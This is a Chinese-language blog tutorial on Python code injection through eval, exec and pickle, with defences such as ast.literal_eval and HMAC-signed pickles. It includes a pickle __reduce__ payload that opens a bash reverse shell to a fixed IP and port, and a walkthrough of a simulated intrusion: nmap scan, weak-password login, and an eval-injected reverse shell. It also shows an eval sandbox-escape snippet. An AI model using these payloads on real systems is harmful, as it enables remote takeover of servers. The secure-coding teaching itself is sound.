Python安全編碼 — 代碼注入的實踐與防範

什麼是代碼注入

代碼注入攻擊指的是任何允許攻擊者在網路應用程序中注入源代碼,從而得到解讀和執行的方法。

Python中常見代碼注入

能夠執行一行任意字元串形式代碼的eval()函數

eval("__import__(os).system(uname -a)")

能夠執行字元串形式代碼塊的exec()函數

exec("__import__(os).system(uname -a)")

反序列化一個pickled對象時

pickle.loads("cposix
system
p0
(Suname -a
p1
tp2
Rp3
.")

執行一個Python文件

execfile("testf.py")

pickle.loads()代碼注入

某不安全的用法:

def load_session(self, session_id=None): if not session_id: session_id = self.gen_session_id() session = Session(session_id, self) else: try: data = self.backend.get(session_id) if data: data = pickle.loads(data) assert type(data) == dict else: data = {} except: data = {} session = Session(session_id, self, data)return session

注入的代碼:

>>> import os>>> import pickle>>> class exp(object):... def __reduce__(self):... s = "/bin/bash -c "/bin/bash -i > /dev/tcp/192.168.42.62/12345 0<&1 2>&1 &""... return (os.system, (s,))...>>> e = exp()>>> e<__main__.exp object at 0x7f734afa8790>>>> k = pickle.dumps(e)cposix
system
p0
(S/bin/bash -c "/bin/bash -i > \\/dev/tcp/192.168.42.62/12345 0<&1 2>&1 &"\np1
tp2
Rp3
. >>> pickle.loads(k)0>>>[3]+ Stopped python

這些函數使用不當都很危險

os.system

os.popen*

os.spawn*

os.exec*

os.open

os.popen*

commands.*

subprocess.popen

popen2.*

一次模擬的實踐

通過這次實踐發現系統中的諸多安全薄弱的環節,執行流程如下:

  1. nmap掃描公網IPnmap -v -A *.*.*.* -p 1-65535,通過nmap掃描後會發現公開的服務。掃描關鍵信息見附錄。

  2. 暴力破解登錄名密碼test 123,弱口令登陸系統。這個地方的薄弱點在於開發過程中容易留下便於程序員測試後門或若口令。這個地方的弱口令為開發測試賬戶,卻被意外的提交到了線上運行而一直被忽略了。

  3. 成功登陸系統後尋找代碼注入點,通過成功找到注入點後可執行代碼注入通過反向shell連接伺服器提權eval("__import__(os).system(/bin/bash -c "/bin/bash -i > /dev/tcp/10.10.10.130/12345 0<&1 2>&1 &")")

第三步在整個系統中發現了兩個可進行代碼注入的漏洞,第一個為pickl反序列化用戶登錄信息的時候沒有做校驗,這樣當對應的存儲介質(memcache、redis)沒有開啟登錄認證並且暴漏在公網中很容易注入代碼。第二個為在系統中一些配置直接使用eval函數執行配置中的Python代碼進行注入。

反向shell的使用見附錄提供的鏈接。

如何安全編碼

  1. 嚴格控制輸入,過濾所有危險模塊,遇到非法字元直接返回。

  2. 使用ast.literal_eval()代替eval(),在項目中禁止使用eval函數,可在git hook中添加代碼檢查。

  3. 安全使用pickle,後面介紹了一種安全使用pickle的方式。

下面就著幾個點來說一下:

eval()方法注釋:

eval(source[, globals[, locals]]) -> valueEvaluate the source in the context of globals and locals. The source may be a string representing a Python expression or a code object as returned by compile(). The globals must be a dictionary and locals can be any mapping, defaulting to the current globals and locals. If only globals is given, locals defaults to it.

ast.literal_eval()方法注釋:

Safely evaluate an expression node or a string containing a Python expression. The string or node provided may only consist of the following Python literal structures: strings, numbers, tuples, lists, dicts, booleans, and None.

通過注釋我們可以了解eval函數和ast.iteral_eval函數的區別,eval函數可以將任意Python表達式編譯成code object對象並被執行。而ast.literal_eval函數是一種安全的方式,strings、number、tuples、lists、dicts、booleans、None這幾種Python對象,下面通過詳細的對比來了解他們的不同之處。

eval禁用全局或本地變數:

>>> global_a = "Hello Eval!">>> eval("global_a")Hello Eval!>>> eval("global_a", {}, {})Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<string>", line 1, in <module>NameError: name global_a is not defined>>>

使用ast.literal_eval()代替eval()對比:

ast.literal_eval("1+1") # ValueError: malformed stringast.literal_eval("[1, 2, 3]") # [1, 2, 3]ast.literal_eval("{1: 1, 2: 2, 3: 3}") # {1: 1, 2: 2, 3: 3}ast.literal_eval("__import__(os).system(uname -a)") # ValueError: malformed string eval("__import__(os).system(uname -a)") # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux eval("__import__(os).system(uname -a)", {}, {}) # Linux zhangxu-ThinkPad-T450 3.13.0-92-generic #139-Ubuntu SMP Tue Jun 28 20:42:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linuxeval("__import__(os).system(uname -a)", {"__builtins__": {}}, {}) # NameError: name __import__ is not defined

尋找eval的突破點

這裡留一個給讀者思考的地方,大家可以在回復中參與討論。當我們想方設法減小eval函數的能力時,仍然會有意想不到的方式繞過並執行代碼注入,如果大家有什麼高見傾聽賜教!

eval("[c for c in ().__class__.__bases__[0].__subclasses__()]", {__builtins__:{}})

參考點:

( lambda fc=( lambda n: [c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == n][0] ): fc("function")( fc("code")( 0, 0, 0, 0, "KABOOM", (), (), (), "", "", 0, ""), {})())()

安全使用pickle

在這裡我們提供了一種安全使用pickle的方式,在這裡大家可以回過頭看看自己的項目中是否安全的使用了pickle。

>>> import hmac>>> import hashlib>>> import pickle>>> shared_key = 123456>>> class Exp(object):... def __reduce__(self):... s = "__import__(os).system(uname -a)"... return (os.system, (s,))...>>> e = Exp()>>> s = pickle.dumps(e)>>> scposix
system
p0
(S"__import__(os).system(uname -a)"
p1
tp2
Rp3
.>>> k = hmac.new(shared_key, s, hashlib.sha1).hexdigest()>>> k20bc7b14ee6d2f8109c0fc0561df3db40203622d>>> send_s = k + + s>>> send_s20bc7b14ee6d2f8109c0fc0561df3db40203622d cposix
system
p0
(S"__import__(os).system(uname -a)"
p1
tp2
Rp3
.>>> recv_k, recv_s = send_s.split( , 1)>>> recv_k, recv_s(20bc7b14ee6d2f8109c0fc0561df3db40203622d, cposix
system
p0
(S"__import__(os).system(uname -a)"
p1
tp2
Rp3
.)>>> new_k = hmac.new(shared_key, recv_s, hashlib.sha1).hexdigest()>>> new_k20bc7b14ee6d2f8109c0fc0561df3db40203622d>>> diff_k = hmac.new(shared_key + "123456", recv_s, hashlib.sha1).hexdigest()>>> diff_k381542893003a30d045c5c729713d2aa428128de>>>

如何提高安全編碼意識?

我覺得其實在整個項目中最薄弱的環節還是人,開發人員更多的會關注從需求到代碼的設計實現,開發的速度和質量,而最重要的安全性在某些情況下是不易被量化和關注的。普通用戶更多的會關注使用上是否合理。一小部分用戶會關注系統的漏洞如何發現和利用,甚至加以破壞,當然後者我們是不希望的。

對外的系統我們會很注重系統的安全性,畢竟那一小部分用戶帶來的影響將是巨大的,而作為內部系統來說,安全性相對不那麼重要了。

而作為開發人員我們如何提高自身的安全編碼意識以及如何安全編碼也是在所處環境中值得深思的一個問題。

附錄

nmap掃描部分結果

What is nmap?

Nmap (Network Mapper) is a security scanner originally written by Gordon Lyon used to discover hosts and services on a computer network, thus creating a "map" of the network.

-A: Enable OS detection, version detection, script scanning, and traceroute

-v: Increase verbosity level (use -vv or more for greater effect)

-p <port ranges>: Only scan specified ports

root@bt:~# nmap -v -A *.*.*.* -p 1-65535 Starting Nmap 6.25 ( Nmap: the Network Mapper ) at 2016-07-26 13:30 EDT......Not shown: 65527 filtered portsPORT STATE SERVICE VERSION139/tcp open netbios-ssn1723/tcp open pptp Microsoft8891/tcp open http nginx 1.4.49090/tcp closed zeus-admin13228/tcp open http Microsoft IIS httpd 7.514580/tcp closed unknown36666/tcp open unknown64380/tcp open unknown......Device type: general purpose|storage-miscRunning (JUST GUESSING): Linux 2.4.X (99%), Microsoft Windows 7 (95%), BlueArc embedded (91%)OS CPE: cpe:/o:linux:linux_kernel:2.4 cpe:/o:microsoft:windows_7:::enterprise cpe:/h:bluearc:titan_2100Aggressive OS guesses: DD-WRT v24-sp2 (Linux 2.4.37) (99%), Microsoft Windows 7 Enterprise (95%), BlueArc Titan 2100 NAS device (91%)No exact OS matches for host (test conditions non-ideal).Network Distance: 2 hopsTCP Sequence Prediction: Difficulty=259 (Good luck!)IP ID Sequence Generation: IncrementalService Info: OS: Windows; CPE: cpe:/o:microsoft:windows......NSE: Script Post-scanning.Read data files from: /usr/local/bin/../share/nmapOS and Service detection performed. Please report any incorrect results at Nmap OS/Service Fingerprint and Correction Submission Page .Nmap done: 1 IP address (1 host up) scanned in 895.44 seconds Raw packets sent: 262711 (11.560MB) | Rcvd: 55220 (2.209MB)

Links:

Top 30 Nmap Command Examples For Sys/Network Admins

反向Shell

如何創建反向Shell來執行遠程Root命令

參考資料

感謝以下各位的分享

Python ast.literal_eval Examples

將任意Bytecode注入運行中的Python進程

注入攻擊-SQL注入和代碼注入

python 遠程線程注入代碼

程序員疫苗:代碼注入

Using pythons eval() vs. ast.literal_eval()?

Understanding Python Pickling and How to Use it Securely

pysec/safeeval.py at master · greysign/pysec · GitHub

打個小廣告,歡迎大家關注我的個人微信公眾號:軟體開發那點事

我會不定期的與大家分享一些當下熱門的軟體開發動向和一些軟體開發技能,歡迎大家關注~

推薦閱讀:

objection - 基於 Frida 的 iOS APP Runtime 探測工具
軟體安裝/網站註冊時的用戶協議有哪些著名的陷阱條款?
有哪些可以深入學習信息安全、網路安全的地方?
大學晚上wifi登錄不在認證時段怎麼破?
惡意軟體 FireBall 是如何感染全球 2.5 億台計算機的?可能造成哪些危害?

TAG:Python | 网络安全 | 代码注入 |